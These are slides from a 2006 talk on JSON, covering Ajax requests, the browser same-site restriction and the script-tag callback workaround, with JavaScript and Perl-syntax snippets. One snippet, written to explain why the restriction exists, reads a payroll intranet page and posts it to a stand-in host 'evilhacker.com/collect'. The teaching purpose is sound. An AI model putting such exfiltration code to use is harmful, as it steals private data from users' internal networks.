JSON

Paul Hammond
paul@paulhammond.org

Data Serialisation Format

```
{
  "title": "My Object",
  "list": [
    "giraffe",
    "monkey",
    "moose"
  ]
}
```

JSON is a subset of YAML

C, C++, C#,
Cold Fusion, Delphi,
Erlang, Java, Lisp, Lua,
ML, Objective CAML,
PHP, Python, Rebol,
Ruby and Squeak
(oh, and perl)

That's all you need to know

So why was I asked to talk today?

JSON is also a subset of JavaScript

Now With Rounded Corners!

JavaScript is so hot right now

JavaScript Object Notation

```
obj = eval(jsonstring)
```

Useful for Ajax

With Free Kool Aid

Making HTTP requests from Javascript (without reloading the whole page)

```
var x = false
if (window.XMLHttpRequest) {
    x = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    x = new ActiveXObhect("Microsoft.XMLHTTP");
}
if (x) {
   x.onreadystatechange = function() {
     callback(request)
   };
   x.open( "GET", '/somepath/', true);
   x.send(null)
 }
}

function callback(request) {
  if(request.readyState == 4) {
    if (request.status == 200) {
      alert(request.responseText)
    }
  }
}
```

```
# in perl syntax (and simplified)

my $x = new XMLHttpRequest;
$x->setCallback( &callback );
$x->open('GET', '/somepath/');
$x->send();

sub callback {
  my $request = shift;
  if ($request->ok) {
    print $request->responseText
  }
}
```

```
# in perl syntax (and simplified)

my $x = new XMLHttpRequest;
$x->setCallback( &callback );
$x->open('GET', '/somepath/');
$x->send();

sub callback {
  my $request = shift;
  if ($request->ok) {
    print $request->responseText
  }
}
```

```
$x->open('GET', '/somepath/');
```

not

```
$x->open('GET', 'http://www.example.com/somepath/');
```

Javascript same site restriction:

you can only access data from the host that served the current webpage

```
my $x = new XMLHttpRequest;
$x->setOnReadyStateChange( &callback );
$x->open('GET',
         'http://payroll.intranet/mydetails/');
$x->send();

sub callback {
  my $y = new XMLHttpRequest;
  $x->open('POST',
         'http://evilhacker.com/collect');
  $x->send(request.responseText);
}
```

"But!"

"I want to use data from
$exciting_web2_site
in my application!"

(there is an exception to the same-site restriction)

(there shouldn't be, but the entire web advertising industry relies on it)

```
<script
  src="http://adserver.example.com/show_ad.js"
  type="text/javascript">
</script>
```

We can create these script elements on the fly

```
// create a script element
var script = document.createElement('script');
script.src = 'http://www.example.com/data.js';
script.type = 'text/javascript';

// add it to the page
var head = document.getElementsByTagName('head').item(0)
head.appendChild(script)
```

```
# create a script element
$script = $document->createElement("script");
$script->{type} = "text/javascript";
$script->{src} = "http://www.example.com/data.js";

# add it to the page
$head = $document->getElementsByTagName("head")[0];
$head->appendChild($script);
```

```
# somewhere else in our client side application

sub callback {
  my @data = @_;
  # do something with @data
}
```

```
// somewhere in our javascript application

function callback(data) {

  // do something with data

}
```

```
// http://www.example.com/data.js

callback(



// insert data here



)
```

```
// http://www.example.com/data.js

callback(

{
        "title": "My Object",
        "animals": [
                "giraffe",
                "monkey",
                "moose"
        ]
}

)
```

```
// somewhere in our javascript application

function callback(data) {

  alert(data.title)

}
```

YAY!

(but it is a hack)

- Inconsistent handling of non-ascii strings
- No method of handling binary data
- Code being passed over wire - you have to trust supplier of data
- Hard to catch network failures

Despite that, this is still the best way to work around the javascript same site restriction

That's (just one reason) why
JSON is interesting

Thankyou!

This presentation:
http://paulhammond.org/2006/json.pm/

Further reading:
http://json.org/

Me:
paul@paulhammond.org